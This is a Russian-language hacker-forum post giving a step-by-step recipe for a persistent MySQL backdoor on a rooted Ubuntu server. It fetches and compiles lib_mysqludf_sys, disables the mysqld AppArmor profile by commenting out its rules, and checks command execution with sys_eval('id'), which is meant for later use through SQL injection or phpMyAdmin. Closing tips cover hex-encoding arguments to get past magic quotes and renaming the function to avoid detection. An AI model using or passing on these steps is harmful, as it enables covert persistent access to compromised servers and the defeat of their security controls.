Показать сообщение отдельно
Старый 14.06.2012, 19:04   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

под *nix:

Как оказалось, заполучив рута на системе (linux), можно оставить что-то типо бекдорчика в MySql (выполнение системных команд через sql-иньекцию например, или прямо из phpmyadmin). Прочитал статью Razor-а, но там только виндовз, решил покапать в убунте, итак, последовательность действий (всё делалось на Ubuntu 9.10):

1. Рутаем сервак
2. Выполняем следующее:

Цитата:
wget http://www.mysqludf.org/lib_mysqludf_sys/lib_mysqludf_sys_0.0.3.tar.gz -q
tar xzf lib_mysqludf_sys_0.0.3.tar.gz
sh install.sh
нам выдаст примерно следующее:

Цитата:
Compiling the MySQL UDF
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so
MySQL UDF compiled successfully
-e
Please provide your MySQL root password
Enter password:
ERROR 1126 (HY000): Can't open shared library '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'.....
как видно, пути отличаются, поэтому создаем /usr/lib/mysql/plugin/ и просто копируем туда lib_mysqludf_sys.so

опять

Цитата:
sh install.sh
и всё установилось. Замечательно, теперь у нас по идее есть sys_eval функция из этой библиотеки, которая позволит нам выполнять системные команды. Проверяем:

Цитата:
mysql> select sys_exec('id');

+----------------+

| sys_exec('id') |

+----------------+

| 32512 |

+----------------+

1 row in set (0.01 sec)
видим, фигу. Оказалось в линксах есть некий AppArmor, что типо фаервола, который и следит, чтобы
приложения делали то, что им полагается, создавая для каждого приложения свой профиль безопасности.

В Ubuntu 9.10 профиль mysql находится по адресу:

/etc/apparmor.d/usr.sbin.mysqld и выглядит примерно так:

Цитата:
# vim:syntax=apparmor
# Last Modified: Tue Jun 19 17:37:30 2007
#include <tunables/global>

/usr/sbin/mysqld {
include <abstractions/base>
include <abstractions/nameservice>
include <abstractions/user-tmp>
include <abstractions/mysql>
include <abstractions/winbind>

capability dac_override,
capability sys_resource,
capability setgid,
capability setuid,

network tcp,

/etc/hosts.allow r,
/etc/hosts.deny r,

/etc/mysql/*.pem r,
/etc/mysql/conf.d/ r,
/etc/mysql/conf.d/* r,
/etc/mysql/my.cnf r,
/usr/sbin/mysqld mr,
/usr/share/mysql/** r,
/var/log/mysql.log rw,
/var/log/mysql.err rw,
/var/lib/mysql/ r,
/var/lib/mysql/** rwk,
/var/log/mysql/ r,
/var/log/mysql/* rw,
/var/run/mysqld/mysqld.pid w,
/var/run/mysqld/mysqld.sock w,
}
у нас два варианта - совсем удалить его) или подредактировать.

делаем:

Цитата:
/etc/init.d/apparmor stop
и просто каментим "#" в /etc/apparmor.d/usr.sbin.mysqld все, что между { и } (ну первое что пришло в голову, может можно что и получше придумать), сохраняем,

Цитата:
/etc/init.d/apparmor start
всё, apparmor запущен, но mysql им уже не контролируется, проверяем:

Цитата:
mysql> select sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=112(mysql) gid=123(mysql) groups=123(mysql)
|
+--------------------------------------------------+
1 row in set (0,01 sec)
заработало, и будет работать и из браузера и из phpmyadmin

Использованные материалы:

http://bernardodamele.blogspot.com/2009/01/mysql-udf-and-apparmor.html
http://0x80.org/blog/?p=298
http://www.xakep.ru/magazine/xa/123/042/1.asp
http://raz0r.name/obzory/mysql-bekdor-dlya-windows/

PS:

1) sys_eval(0x6964)==sys_eval('id'), меджики в пролете
2) sys_eval - палевное название функции, но название можно поменять, сорцы-то у нас есть
Pashkela вне форума   Ответить с цитированием